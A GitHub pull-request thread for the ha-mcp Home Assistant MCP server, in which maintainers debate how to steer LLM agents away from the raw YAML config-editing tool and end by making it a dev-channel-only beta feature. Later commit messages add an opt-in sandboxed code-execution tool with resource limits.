refactor(addon): move ha_config_set_yaml to dev channel only (breaking — stable toggle removed, set ENABLE_YAML_CONFIG_EDITING or use dev add-on) - #942
Conversation
LLM agents routinely reach for ha_config_set_yaml to create trigger-based template sensors even though ha_set_config_entry_helper (domain=template) supports them natively. The previous description listed ha_config_set_helper as the preferred alternative for template sensors, but ha_config_set_helper's helper_type enum does not include 'template' — so an agent that tried to follow the guidance would hit a schema error and then fall back to raw YAML editing. This change: - Reframes the docstring and tool title as an escape hatch. The first sentence now warns instead of welcoming, and the dedicated-tool preference list is the first thing a model sees. - Points template sensors (state-based AND trigger-based) at the correct tool, ha_set_config_entry_helper with helper_type='template', which does support triggers via the config entry flow. - Hardens the yaml_path parameter description with per-key warnings, so the nudge survives context compression even when the full docstring is trimmed by the client. - Adds a required justification parameter (mirroring the pattern from ha_manage_custom_tool in homeassistant-ai#854). Justification is validated non-empty, logged, and exists purely as friction — the goal is to make an agent pause and articulate why no dedicated tool fits before reaching for the escape hatch. Ref: discussion homeassistant-ai#936
Summary of ChangesHello, I'm Gemini Code Assist1! I'm currently reviewing this pull request and will post my feedback shortly. In the meantime, here's a summary to help you and other reviewers quickly get up to speed! This pull request hardens the Highlights
Using Gemini Code AssistThe full guide for Gemini Code Assist can be found on our documentation page, here are some quick tips. Invoking Gemini You can request assistance from Gemini at any point by creating a comment using either
Customization To customize Gemini Code Assist for GitHub experience, repository maintainers can create a configuration file and/or provide a custom code review style guide (such as PEP-8 for Python) by creating and adding files to a Limitations & Feedback Gemini Code Assist may make mistakes. Please leave feedback on any instances where its feedback is incorrect or counter productive. You can react with 👍 and 👎 on @gemini-code-assist comments. If you're interested in giving your feedback about your experience with Gemini Code Assist for GitHub and other Google products, sign up here. Footnotes
|
![gemini-code-assist[bot]](https://avatars.githubusercontent.com/in/956858?s=60&v=4){kind=small}
There was a problem hiding this comment.
Code Review
This pull request refactors the ha_config_set_yaml tool into a restricted 'Escape Hatch' by introducing a mandatory justification parameter, adding usage logging, and updating documentation to steer users toward dedicated tools. The review feedback identifies several technical errors in the updated descriptions, such as referencing the incorrect parameter name 'domain' instead of 'helper_type' for ha_set_config_entry_helper and misidentifying which tools manage specific entity types like 'utility_meter'. Additionally, the tool's docstring needs to be updated to start with a standard action verb to comply with the repository's style guidelines.
- Correct parameter name: ha_set_config_entry_helper takes `helper_type='template'`, not `domain='template'`. Wrong parameter name in the description would cause an LLM that tried to follow the guidance to hit a schema error. - Point Groups, min/max, threshold, derivative, statistics, utility_meter, trend, filter, switch_as_x at ha_set_config_entry_helper — these are config-flow helpers, not ha_config_set_helper entries (which only handles input_*, counter, timer, schedule, zone, person, tag). - Remove utility_meter from the yaml_path description's example list — it conflicted with the "use a helper for this" line in the docstring. - Start docstring with an action verb per the repo style guide (.gemini/styleguide.md rule: Get/List/Search/Create/Update/...). - Fix test_missing_justification_rejected assertion: create_error_response returns a nested dict under "error", so `.lower()` on it raised AttributeError. Match against the stringified response instead.
sergeykad
left a comment
sergeykad
left a comment
There was a problem hiding this comment.
Good analysis of why agents misuse this tool — the broken guidance pointing at ha_config_set_helper (which doesn't accept template helpers) was a real contributor to the problem reported in #936. The fix correctly routes to ha_set_config_entry_helper.
1. Parameter ordering
justification is placed before content, which breaks the natural grouping of functionally-required parameters (yaml_path → action → content). Move it after content.
2. Docstring length as context tax
With 92+ tools in this server, every tool's description is serialized in tool listings. This 30-line docstring consumes tokens on every request regardless of whether the agent intends to use this tool. Consider a shorter docstring (2-3 lines) and let the error message carry the detailed guidance for agents that actually try to misuse it.
3. yaml_path description duplicates docstring
The parameter description repeats the same "STOP before using template" warning that's in the docstring. In the JSON schema both are serialized — double the cost. Keep the parameter description focused on valid values.
4. Use standard terms instead of informal rhetoric
"Escape hatch", "WRONG answer for almost everything", "STOP before using this" — this phrasing doesn't appear elsewhere in the codebase and reads as adversarial. RFC 2119 terms (MUST, MUST NOT, SHOULD) are well-understood by LLMs and unambiguous. Example: "MUST NOT be used for template sensors, automations, scripts, scenes, or input helpers."
5. Guidance already exists in the skills system
The home-assistant-best-practices skill (packaged with this MCP server) already routes agents away from raw YAML editing — its anti-pattern table, symptom list, and references/yaml-only-integrations.md cover exactly this routing logic. Rather than duplicating it in the tool description, reference the skill: "See ha_get_skill_home_assistant_best_practices for guidance." This follows the project's progressive disclosure pattern.
6. justification parameter is unproven as a guardrail
This pattern doesn't exist in the MCP spec, SDK docs, Anthropic's tool design guidance, or anywhere else in this codebase (#854 which it claims to mirror hasn't merged). The established approaches for steering agents are: clear descriptions with RFC 2119 terms, actionable error messages on misuse, tool annotations, and progressive disclosure via skills — all of which this project already has. The concern with a free-text justification field is that LLMs are very good at generating plausible strings to pass a non-empty check without genuinely reasoning about tool selection. Consider whether the description improvements + error messages (which are well-written in this PR) are sufficient without the novel parameter.
CI is green, tests cover the new validation well. The core insight (fixing the broken routing from ha_config_set_helper to ha_set_config_entry_helper) is valuable. The implementation just needs to align with the project's existing patterns rather than introducing new ones.
…ssistant-ai#907 Addresses most points from @sergeykad's review. Aligns the ha_config_set_yaml docstring with the tool docstring guidelines merged in homeassistant-ai#907 (2026-04-08, after this tool was created): - Single-line template as the default, extensions opt-in - **WARNING:** block for destructive side-effects (matches the pattern used by ha_restart, ha_config_remove_automation, ha_config_remove_helper, ha_config_set_dashboard, and others) - "What NOT to include ... motivational prose" (AGENTS.md:474) - Defer detailed guidance to ha_get_skill_home_assistant_best_practices (AGENTS.md:471) Concrete changes: - Tool description shrunk from 2099 -> 1084 chars (25 -> 23 lines), essentially matching master's pre-PR size (1045 chars) despite adding the routing table. Removed "ESCAPE HATCH", "WRONG answer for almost everything", and the redundant trailing "if you are reaching for this" paragraph — all motivational prose per AGENTS.md:474. - Parameter order: moved `justification` after `content` so the functionally-required params (yaml_path, action, content) group together. - yaml_path description: trimmed the duplicated routing warning (was 606 chars, now 329) while keeping a short "not for templates/ automations/scripts/scenes/input_* — use dedicated tools" line so the guardrail survives clients that aggressively trim docstrings. - justification description shrunk from 384 -> 132 chars. - Error suggestion on missing justification shortened and now points at ha_get_skill_home_assistant_best_practices instead of restating the routing table inline. - Tool title: "Raw YAML Config Edit (Escape Hatch)" -> "Raw YAML Config Edit" — the editorializing in the title added no information. Add-on config toggle description (per repo-maintainer request) now leads with "WARNING, dangerous tool, use at your own risk." on both the stable and dev add-on translations. The toggle is where an operator flips the tool on, so surfacing the warning at that point is appropriate. The `justification` parameter itself is kept — it is philosophically identical to ha_restart's `confirm: bool` friction gate, just with an informational payload. See PR comment for the full rationale.
|
Thanks for the thorough pass, @sergeykad — pushed 1. Parameter ordering — fixed. Order is now 2. Docstring length — mostly agreed, and backed by #907 which merged after this tool was created and codifies the single-line-default /
The rewrite is within ~4% of master's size while adding the routing table. For reference, 3. 4. RFC 2119 terms — respectfully pushing back on the framing. The repo's own conventions (AGENTS.md, 5. Skills system — the harder question, and I want to surface a choice for you. You're right that the routing guidance lives in Given that, there are two reasonable postures for this particular tool:
My leaning is toward B because many LLMs skip or ignore skills regardless of what's served — the guardrail should live where the tool lives, not in a separate resource fetch. But this is a judgment call and I'd rather decide it with you than unilaterally. Which direction do you prefer? 6. Let me know which direction you want on point 5 and whether point 4's phrasing is close enough to the existing |
sergeykad
left a comment
sergeykad
left a comment
There was a problem hiding this comment.
On the justification parameter — the "auditing" framing doesn't hold up.
The parameter description says "Logged for auditing" and the commit message frames it as enabling later review of why the tool was invoked. But the implementation is logger.info(...) to stdout:
- HA add-on: logs rotate on restart/update, not retained long-term
- Docker: lost on container removal unless an external log driver is configured
- stdio mode: goes to stderr, typically not captured at all
There is no persistent audit file, no database write, no append-only log. You cannot check a week later why the tool was invoked — the logs will be gone.
As pure friction, it's a string-non-empty check that LLMs can trivially satisfy with generic text ("No dedicated tool fits"). There's no evidence this actually reduces misuse compared to clear descriptions alone.
Suggestion: Drop the justification parameter entirely. The description improvements in this PR (routing table, skill reference, RFC 2119-style language) are the actual guardrail — they steer agents at decision time, before a tool call is made. A free-text field validated after the agent already decided to call the tool adds no proven value.
On RFC 2119 language: Using MUST/MUST NOT/SHOULD with LLM agents is a known effective practice. AWS's Strands Agent SOPs (https://aws.amazon.com/blogs/opensource/introducing-strands-agent-sops-natural-language-workflows-for-ai-agents/) demonstrate that structured natural-language directives with standard terms produce reliable agent behavior — more so than informal rhetoric or friction parameters. The description improvements in this PR are already moving in that direction; leaning into it fully would be more effective than the justification field.
On the skill not working for all agents: The home-assistant-best-practices skill is recommended for installation on the repo's main README and follows the agents skills spec — it can be added to virtually any agent (Claude Code, Copilot CLI, Gemini CLI, Cursor, etc.) without requiring MCP support. It's a markdown file read into context, not an MCP-dependent feature.
|
Thanks for the follow-up @sergeykad. Walking through each claim with verification: 1. Audit framing — the persistent-log claim is partially wrong. There is a persistent audit file:
That said, I hear you that "make the LLM think" is weak framing, and if the persistence story still doesn't convince you I'm not married to the parameter. Let me know if you want it removed and I'll drop it — the rest of the PR (routing table, skill reference, WARNING block, title change, tests) carries the substantive fix either way. 2. RFC 2119 and AWS Strands — I checked the post. It's about Agent SOPs (Standard Operating Procedures), which are a markdown format for multi-step workflow procedures, not MCP tool descriptions. The RFC 2119 usage in the post is for per-step constraints inside an SOP — e.g. "Step 1: the agent MUST validate the path exists before proceeding." That's a reasonable technique for procedural workflow reliability. But the post:
The extrapolation from "multi-step SOP workflows use RFC 2119 for step constraints" to "MCP tool descriptions should use MUST/SHOULD instead of 3. Skills availability — three paths, all optional, and your two reviews frame this differently. The
Your first review called the skill "packaged with this MCP server" (MCP framing), your second review reframes as "a markdown file read into context, not an MCP-dependent feature" (standalone framing). Both are partially true — all three delivery paths exist — but none of them is guaranteed to reach an arbitrary client. Every path is opt-in somewhere: the user has to enable the flag, install the markdown files, or the agent has to choose to call the resource/tool. Even when all three are in place, LLMs routinely skip skill-style guidance that isn't in their immediate context window — which is exactly what happened to the Gemini-CLI user in #936. For a tool that writes raw YAML to a live HA instance behind a Happy to trim more from the docstring if there are specific lines you think are still redundant — the current size is within ~4% of master's pre-PR size while adding the routing table, so I don't think it's a major cost, but I'll cut more if you point at specific sentences. |
sergeykad
left a comment
sergeykad
left a comment
There was a problem hiding this comment.
On justification and ha_report_issue:
The rationale for keeping justification shifted — originally "logged for auditing" (check a week later), now "surfaced via ha_report_issue ring buffer." But if an agent is calling ha_report_issue in the same session where it called ha_config_set_yaml, it already has the full conversation context — it knows what it did, why it did it, and what broke. The justification string in the ring buffer adds nothing the agent doesn't already have in its own context window.
The remaining question is: does justification provide value that the description improvements (routing table, WARNING block, skill reference) don't already provide? I don't see evidence that it does, and I'm willing to drop the RFC 2119 point — the **WARNING:** pattern is fine. But the justification parameter adds a novel, unproven mechanism on top of guardrails that already work.
Happy to merge once justification is dropped. Everything else in the current revision looks good.
@sergeykad made a valid point in the review thread: for in-session debugging via ha_report_issue, the agent that called ha_config_set_yaml already has the full reason in its own conversation context. The justification string in the ring buffer or usage log adds nothing the agent does not already know. The only value would be for an out-of-band auditor reading logs days later, which is precisely the deployment model where the logs are not retained. The substantive fix in this PR — the routing table, WARNING block, LAST RESORT framing, skill reference, ha_set_config_entry_helper correction, and docstring alignment with homeassistant-ai#907 — is what actually steers agents at decision time. The justification parameter added complexity without proven value on top of those guardrails. Changes: - Drop justification parameter, validation block, and invocation log line from ha_config_set_yaml - Remove "A non-empty justification is required" line from docstring - Strip justification from 25 test call sites - Delete test_missing_justification_rejected and test_blank_justification_rejected - Regenerate site/src/data/tools.json, README.md, homeassistant-addon/DOCS.md Tool description is now 1030 chars / 22 lines — very slightly below master's pre-PR size (1045 chars / 24 lines) while still carrying the routing table. Test count: 20 (down from 22).
|
Dropped One clarification I should have made sooner: the "auditing" framing in my first two replies wasn't a shift in rationale on my end — I was always talking about session-level surfacing via That said, your counter-argument from the third review holds on the merits regardless of which "audit" flavor I meant. For same-session Concrete changes in
The tool description is now 1030 chars / 22 lines — about 15 chars below master's pre-PR size while still carrying the routing table. Everything else in your previous review (docstring shape, |
sergeykad
left a comment
sergeykad
left a comment
There was a problem hiding this comment.
On the translations/en.yaml toggle description:
"WARNING, dangerous tool, use at your own risk" is inconsistent with how other tool toggles are described. This tool has more safeguards than most — backup on every edit, YAML validation, key allowlist, path traversal blocking, post-edit config check, and a default-off toggle. Tools like ha_config_remove_automation, ha_config_remove_helper, ha_config_remove_script, or ha_remove_entity can permanently delete things with no backup — and none of their descriptions carry a "dangerous, use at your own risk" warning. The default-off toggle is the safety mechanism — the description should explain what the toggle does, not editorialize about risk.
|
This tool can literally destroy an entire HA configuration due to a careless llm. None of those other tools can destroy an entire HA configuration, though they all DO have warnings in their descriptions. - ha_config_remove_automation: "WARNING: Deleting an automation removes it permanently from your Home Assistant configuration."
Also, it's "inconsistent with other tool toggles" because it is the ONLY unique tool behind a toggle. We owe it to users to warn them that this is a dangerous tool. The description should be more up front about WHY this is the only tool behind a toggle. |
sergeykad
left a comment
sergeykad
left a comment
There was a problem hiding this comment.
On the toggle warning:
No existing toggle description in translations/en.yaml has a WARNING — this would be the first. The current enable_yaml_config_editing description is neutral and factual, which is the right tone for a config toggle.
"Can destroy an entire HA configuration" doesn't reflect what the tool actually does. It edits a narrow allowlist of top-level keys, blocks core keys (homeassistant, http, recorder), creates a backup before every edit, validates YAML, checks config after writing, and blocks path traversal. This is the most safeguarded write operation in the server.
The WARNING blocks you cited (ha_config_remove_automation, ha_remove_entity, etc.) are in tool descriptions shown to agents — that's appropriate. A toggle description is shown to a human operator in the HA UI, and the existing neutral description already explains the scope and safeguards. Please revert the toggle description to the current master version.
Per review feedback: rewrite the enable_yaml_config_editing toggle description in a factual/neutral tone and revert the production addon translations file (homeassistant-addon/) to the upstream master version so only the dev addon (homeassistant-addon-dev/) carries the change. The new description keeps two concrete facts an operator needs before flipping the toggle: (a) a broken edit can prevent HA from starting and recovery may require SSH access to restore from the automatic backup, and (b) AI assistants may select this tool when a dedicated tool would be correct (the motivating case from homeassistant-ai#936). It drops the rhetorical "WARNING, dangerous tool, use at your own risk" framing. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
True, but that's because no other ha-mcp tool is gated behind a toggle at all. The comparison isn't load-bearing — the toggle exists because this tool is uniquely risky, and the description should make clear why it's the only one gated that way. Otherwise an operator has no basis to decide whether to flip it on. That said, you're right that "dangerous, use at your own risk" editorializes. Factual/neutral rewrite, pushed in enable_yaml_config_editing:
name: Enable YAML config editing
description: >-
The only ha-mcp tool gated behind a toggle, disabled by default.
Intended for operators comfortable editing configuration.yaml
directly — a broken edit can prevent Home Assistant from starting,
and recovery may require SSH access to restore from the automatic
backup. AI assistants also sometimes select this tool when a
dedicated tool (automations, scripts, scenes, helpers, template
sensors) would be correct. Allows AI assistants to add, replace,
or remove top-level keys in configuration.yaml and packages/*.yaml.
Only whitelisted keys are allowed (e.g., template, sensor,
command_line, mqtt); core keys like homeassistant, http, and
recorder are blocked. A backup is created before every edit.
Requires restart to take effect.Drops the rhetorical framing. Keeps two concrete, verifiable facts an operator needs before enabling: a broken edit can prevent HA from starting and recovery may require SSH access to restore from the automatic backup, and LLMs empirically reach for this tool when a dedicated tool would be correct (the motivating case from #936). The same commit also reverts |
sergeykad
left a comment
sergeykad
left a comment
There was a problem hiding this comment.
On the revised toggle description:
"The only ha-mcp tool gated behind a toggle" is factually incorrect — there are three default-off feature flags, not one:
ENABLE_YAML_CONFIG_EDITING— this toolENABLE_TOOL_SEARCH— tool search mode (config.py:108)HAMCP_ENABLE_FILESYSTEM_TOOLS— filesystem access tools (tools_filesystem.py:37)
None of the other two have warning language in their toggle descriptions.
The description also selectively presents risks while omitting the safeguards that address them. "A broken edit can prevent Home Assistant from starting" omits that the tool validates YAML and runs config check before committing. "Recovery may require SSH access" omits that the backup is automatic and the path is returned in the response. "AI assistants sometimes select this tool incorrectly" is a tool quality problem, not an operator-actionable warning.
The current master description already covers scope, safeguards, and intended use cases in neutral language. Please revert to master's version.
|
There is no toggle for any individual tool, there are only toggles for modes and for this tool. The toggle for enable tool search is to enable the MODE, not a specific tool. It doesn't need a warning because it isn't destructive, there is absolutely nothing to warn about. Also, there is no toggle for HAMCP_ENABLE_FILESYSTEM_TOOLS present at all in the config settings in the addon, so the AI you're using to review this clearly isn't looking at the right place to be so bold to claim that this isn't "factually correct" when it lists a toggle that isn't even present on the config settings. The only toggles that exist are for the edit yaml tool, toolsearch, enable skills as tools, and enable skills as resources. There are NO toggles for specific tools. "A broken edit can prevent Home Assistant from starting" omits that the tool validates YAML and runs config check before committing" I can add that into the description, but even validated yaml can still break an HA installation. I've had it happen before more than once. It doesn't always stop it from starting....some times you boot back up and everything just stops working or shows as unknown. This is after validating multiple times and even using the thing that guarantees HA will boot. There's no real way to prevent it from happening. "Recovery may require SSH access" omits that the backup is automatic and the path is returned in the response." Ok sure I can add that too, but that doesn't change the fact that it could still break HA, and doesn't change the fact that someone may need SSH to fix it, or may even need to completely wipe their system and start fresh. " "AI assistants sometimes select this tool incorrectly" is a tool quality problem, not an operator-actionable warning." This statement doesn't even make sense, what are you even trying to say here? Users should be aware of the risk of using this tool before enabling it. It is their choice alone, there's really nothing we can do to force an LLM to use this properly. Users should be made aware so they can make an informed choice. The user should also be aware that this tool is so dangerous that we had to make all of these safeguards in the first place. |
…raming Per review feedback on PR homeassistant-ai#942: - Reframe opening to focus on operator risk-tolerance instead of "only tool gated behind a toggle" - Add the YAML-validation and config-check safeguards explicitly - Note that the automatic backup path is returned in the tool response - Keep the residual-risk framing (validated edits can still break HA; recovery may need SSH or reinstall) — these are real, safeguards reduce but do not eliminate them - Sharpen LLM-misuse wording from "select" to "use inappropriately" Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
|
On the point that "this is the safest tool we have" — here is evidence that it is in fact NOT the safest tool. NO OTHER TOOL can cause this kind of damage, and an LLM can easily hallucinate any one of these things. This is after only 15 minutes or so of testing; there is an infinite amount of other things that could occur. This is why the toggle should be labeled as dangerous, and why users should understand the risk they are taking by enabling the toggle. Things an LLM can accidentally do via
|
|
I've been catching up on this one. Looking back at #581, I wasn't comfortable with the yaml editing feature from the start — and I'm still hesitant. What I'd like to propose: change the direction of this PR to move The dev channel addon could optionally keep the toggle visible — that audience is more aware of the risks. As a follow-up, we could open a separate PR to add a generic beta features mechanism to the stable addon: a free-form text field with instructions pointing to Happy to discuss before committing to a direction — but that's where I'm leaning. |
…g — stable toggle removed, set ENABLE_YAML_CONFIG_EDITING or use dev add-on) Implements @julienld's proposal from the PR thread: move ha_config_set_yaml out of the stable add-on UI entirely and gate it as a dev-channel-only beta feature. Motivation is in discussion homeassistant-ai#936 and the comment cataloguing blast radius earlier in this PR. Stable add-on users who previously had enable_yaml_config_editing enabled will lose access to the tool on their next add-on update. Migration paths: - Install the Home Assistant MCP Server (Dev) add-on and flip the toggle there (see docs/dev-channel.md for install instructions) - For non-addon installs (pip/uv/uvx/Docker direct): set ENABLE_YAML_CONFIG_EDITING=true in the environment - Full caveats and setup: docs/beta.md Changes: **Stable add-on UI (homeassistant-addon/):** - Remove enable_yaml_config_editing from config.yaml options: and schema: - Remove the corresponding entry from translations/en.yaml - Add an explanatory marker comment in config.yaml so a future maintainer syncing from homeassistant-addon-dev/ notices the intentional divergence **Dev add-on UI (homeassistant-addon-dev/):** unchanged — the toggle stays visible for dev-channel users who explicitly opt in. **Beta tag mechanism (scripts/extract_tools.py):** - Tool rendering in generate_docs_section and generate_readme_table picks up an optional "beta" tag and appends a "(beta — dev channel only)" / "(beta)" marker inline - When at least one beta tool exists, an explanatory note is added above the tool list pointing to docs/beta.md - Reusable: future beta tools just tag themselves and get the same treatment **Tool flag (src/ha_mcp/tools/tools_yaml_config.py):** - Add "beta" to the tags set; no docstring/runtime changes - Runtime gating via ENABLE_YAML_CONFIG_EDITING env var is unchanged, so non-add-on installs (pip/uv/Docker direct) can still opt in by setting the variable themselves **docs/beta.md (new):** - Documents what "beta" means in this repo, current beta tools, the two enable paths (dev channel add-on, env var), known caveats for ha_config_set_yaml (distilled from the failure-modes audit in this PR's comments), and the graduation criteria for moving a tool from beta to stable Regenerated homeassistant-addon/DOCS.md, README.md, and site/src/data/tools.json via scripts/extract_tools.py. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
ebed008 to
0effea8
Compare
kingpanther13
changed the title
|
The documentation is a bit dramatic, but I’ll approve it. Since this is a beta feature, users already expect there might be some issues. |
🧪 Your changes are now in the dev channel!Your PR has been merged to master and is available for testing in the dev channel. Test your changes before the next stable release (biweekly Wednesday): Quick start# Run dev version
uvx ha-mcp-dev
# Check version
uvx ha-mcp-dev --versionDocker: docker pull ghcr.io/homeassistant-ai/ha-mcp:dev
docker run --rm -i \
-e HOMEASSISTANT_URL=http://your-ha:8123 \
-e HOMEASSISTANT_TOKEN=your_token \
ghcr.io/homeassistant-ai/ha-mcp:devFound an issue? Please open a new bug report and mention this PR for context. |
|
I took the liberty to modify things a bit in #989 |
|
Thanks! That works for me, that was mostly Claude being dramatic on that last one, I should have scrutinized it a bit more. |
Conflicts:
- homeassistant-addon-dev/{config.yaml,translations/en.yaml,DOCS.md,start.py}:
combined homeassistant-ai#1030 beta flags (filesystem/yaml/custom-component) with this
PR's new dev-only options (tool_search_max_results, disabled_tools,
pinned_tools). New options stay dev-only per homeassistant-ai#942 channel convention.
- src/ha_mcp/server.py: combined homeassistant-ai#955's _apply_search_keyword_enrichment
refactor with this PR's settings-visibility apply step. Order:
tools -> enhanced -> skills -> _apply_settings_visibility ->
_apply_search_keyword_enrichment -> _apply_tool_search.
- homeassistant-addon/start.py: kept homeassistant-ai#806 migrate_skills_as_tools_default
+ relocated supervisor-token validation; added new env var exports.
Patch76 review fixes:
- G1: Mount settings UI under MCP secret_path so Docker/standalone clients
share the same auth-by-obscurity as the MCP endpoint. Add-on continues
to mount at root for HA ingress proxy. Routes don't register at all
when neither path is available (stdio mode, or HTTP without secret).
Moved register_settings_routes out of _initialize_server into the HTTP
entry points (_run_http_server, _run_oauth_server, addon start.py).
- G2: Wire tool_search_max_results through CategorizedSearchTransform;
enforce 2-10 range in Pydantic Field and addon-dev schema int(2,10)?.
- G3: 400 instead of 500 when POST body is JSON but not an object.
- G4: Use SUPERVISOR_TOKEN, not /data existence, to detect add-on mode
in _get_config_path. Matches the rest of the module.
- G5: HTML-escape interpolated tool metadata in the settings JS.
- G6: Comment explaining MANDATORY_TOOLS vs DEFAULT_PINNED_TOOLS overlap.
- G7: Add ha_install_mcp_tools stub to FEATURE_GATED_TOOLS; rewrite stub
copy to point at docs/beta.md (covers both stable and dev paths post-homeassistant-ai#942).
- G9: Keep enable_yaml_config_editing guard with defense-in-depth comment;
drop the discard so AND semantics apply (UI off OR toggle off -> tool off).
- G12: Restore .env.example trailing newline.
Tests cover non-dict body, garbage state values, route mounting under
secret_path, _get_config_path env-driven path, FEATURE_GATED_TOOLS
beta-system alignment, and the G9 AND-semantics regression.
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Mirrors the homeassistant-ai#942 pattern that ha_config_set_yaml uses: the ha_manage_custom_tool sandboxed code-execution tool stays available via the dev channel add-on and the ENABLE_CODE_MODE env var, but the toggle is removed from the stable add-on UI so it ships dev-channel-only. - Drop enable_code_mode from homeassistant-addon/config.yaml options + schema. Update the maintainer comment to list it alongside the other beta toggles that are intentionally not mirrored from the dev addon. - Drop the enable_code_mode entry from homeassistant-addon/translations/ en.yaml. - Tag the @mcp.tool with {"System", "beta"} so scripts/extract_tools.py appends the (beta — dev channel only) marker in the regenerated README.md / DOCS.md / tools.json on merge. - Add ha_manage_custom_tool to docs/beta.md (table + Known limitations section covering composition risk, in-memory saved tools, best-effort resource limits, ARM async path). - Remove the hand-written ### enable_code_mode toggle docs from homeassistant-addon/DOCS.md (the auto-generated tools section between ADDON_TOOLS markers gets the beta marker added by CI on merge). Dev addon (homeassistant-addon-dev/) still exposes the toggle and the shared start.py still maps it to ENABLE_CODE_MODE so dev users can opt in. src/ha_mcp/config.py still reads the env var so non-addon installs (pip / uv / uvx / Docker direct) can opt in via ENABLE_CODE_MODE=true. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Mirrors the homeassistant-ai#942 pattern that ha_config_set_yaml uses: the ha_manage_custom_tool sandboxed code-execution tool stays available via the dev channel add-on and the ENABLE_CODE_MODE env var, but the toggle is removed from the stable add-on UI so it ships dev-channel-only. - Drop enable_code_mode from homeassistant-addon/config.yaml options + schema. Update the maintainer comment to list it alongside the other beta toggles that are intentionally not mirrored from the dev addon. - Drop the enable_code_mode entry from homeassistant-addon/translations/ en.yaml. - Tag the @mcp.tool with {"System", "beta"} so scripts/extract_tools.py appends the (beta — dev channel only) marker in the regenerated README.md / DOCS.md / tools.json on merge. - Add ha_manage_custom_tool to docs/beta.md (table + Known limitations section covering composition risk, in-memory saved tools, best-effort resource limits, ARM async path). - Remove the hand-written ### enable_code_mode toggle docs from homeassistant-addon/DOCS.md (the auto-generated tools section between ADDON_TOOLS markers gets the beta marker added by CI on merge). Dev addon (homeassistant-addon-dev/) still exposes the toggle and the shared start.py still maps it to ENABLE_CODE_MODE so dev users can opt in. src/ha_mcp/config.py still reads the env var so non-addon installs (pip / uv / uvx / Docker direct) can opt in via ENABLE_CODE_MODE=true. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Mirrors the homeassistant-ai#942 pattern that ha_config_set_yaml uses: the ha_manage_custom_tool sandboxed code-execution tool stays available via the dev channel add-on and the ENABLE_CODE_MODE env var, but the toggle is removed from the stable add-on UI so it ships dev-channel-only. - Drop enable_code_mode from homeassistant-addon/config.yaml options + schema. Update the maintainer comment to list it alongside the other beta toggles that are intentionally not mirrored from the dev addon. - Drop the enable_code_mode entry from homeassistant-addon/translations/ en.yaml. - Tag the @mcp.tool with {"System", "beta"} so scripts/extract_tools.py appends the (beta — dev channel only) marker in the regenerated README.md / DOCS.md / tools.json on merge. - Add ha_manage_custom_tool to docs/beta.md (table + Known limitations section covering composition risk, in-memory saved tools, best-effort resource limits, ARM async path). - Remove the hand-written ### enable_code_mode toggle docs from homeassistant-addon/DOCS.md (the auto-generated tools section between ADDON_TOOLS markers gets the beta marker added by CI on merge). Dev addon (homeassistant-addon-dev/) still exposes the toggle and the shared start.py still maps it to ENABLE_CODE_MODE so dev users can opt in. src/ha_mcp/config.py still reads the env var so non-addon installs (pip / uv / uvx / Docker direct) can opt in via ENABLE_CODE_MODE=true. Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
…ch (#854) * feat: add sandboxed code execution tool (ha_execute_code) Add an opt-in `ha_execute_code` tool that lets LLMs write custom one-off Python code when no existing tool covers the user's request. Code runs in pydantic-monty — a Rust-based sandboxed Python interpreter with no filesystem or network access. The only I/O channel is `call_tool(name, args)` which delegates to the registered MCP tools. This is the "escape hatch" portion of #726 — the multi-step tool chaining approach (CodeMode transform) was tested and found to be ineffective, so this PR focuses solely on the custom one-off tool use case. Changes: - New tool module: src/ha_mcp/tools/tools_code.py - New dependency: pydantic-monty>=0.0.9 - New config settings: ENABLE_CODE_MODE (default: false), CODE_MODE_MAX_DURATION, CODE_MODE_MAX_MEMORY - Tool only registered when ENABLE_CODE_MODE=true (same pattern as ENABLE_YAML_CONFIG_EDITING) Safety guardrails: - Disabled by default (opt-in via ENABLE_CODE_MODE=true) - destructiveHint=True annotation for MCP client gating - Required `justification` parameter explaining why no existing tool works - Configurable time (30s) and memory (10MB) sandbox limits - No filesystem, network, or third-party import access in sandbox - All HA interaction must go through call_tool() bridge Closes #726 Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * refactor: rename ha_execute_code to ha_create_custom_tool The name ha_execute_code describes the mechanism (executing code) but not the intent (creating a one-off custom tool). The new name ha_create_custom_tool maps directly to the mental model: "I need to create a custom tool to accomplish X." Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: resolve CI failures — update uv.lock and fix mypy errors - Regenerate uv.lock to include pydantic-monty>=0.0.9 - Remove unused type: ignore[union-attr] comment (line 167) - Add type: ignore[attr-defined] for Monty.run_async (Rust extension method not visible to mypy type stubs) Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * feat: add recursion limit, E2E tests for ha_create_custom_tool - Add configurable CODE_MODE_MAX_RECURSION setting (default: 100) - Pass max_recursion_depth to ResourceLimits (addresses Gemini review) - Add comprehensive E2E test suite covering: - Feature flag behavior (disabled by default, enabled when set) - Input validation (empty code, empty justification) - Basic execution (expressions, dicts, justification passthrough) - call_tool bridge (ha_get_overview, ha_search_entities, error handling) - Sandbox security (no filesystem, no classes, syntax errors) - Resource limits (timeout enforcement) Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * fix: correct relative import path in E2E tests tools/ is one level under e2e/, so utilities import needs two dots (..utilities) not three (...utilities). Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * feat: add saved tools cache (ha_run_saved_tool, ha_list_saved_tools) Adds session-scoped caching for custom tools per m13v's suggestion (#726 comment 3). LLMs can save frequently-used custom tools by name and re-run them without re-synthesizing the code. New tools (only registered when ENABLE_CODE_MODE=true): - ha_run_saved_tool: Re-run a previously saved custom tool by name - ha_list_saved_tools: List all saved custom tools (read-only) ha_create_custom_tool gains an optional `save_as` parameter. Saved tools persist for the current server session only (in-memory dict, not across restarts). Extracted _run_sandboxed_code helper to share sandbox execution between create and run-saved. E2E tests added for save/run workflow, listing, and error cases. Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com> * feat: pin code mode tools when tool search is active When both ENABLE_CODE_MODE and ENABLE_TOOL_SEARCH are true, pin ha_create_custom_tool, ha_run_saved_tool, 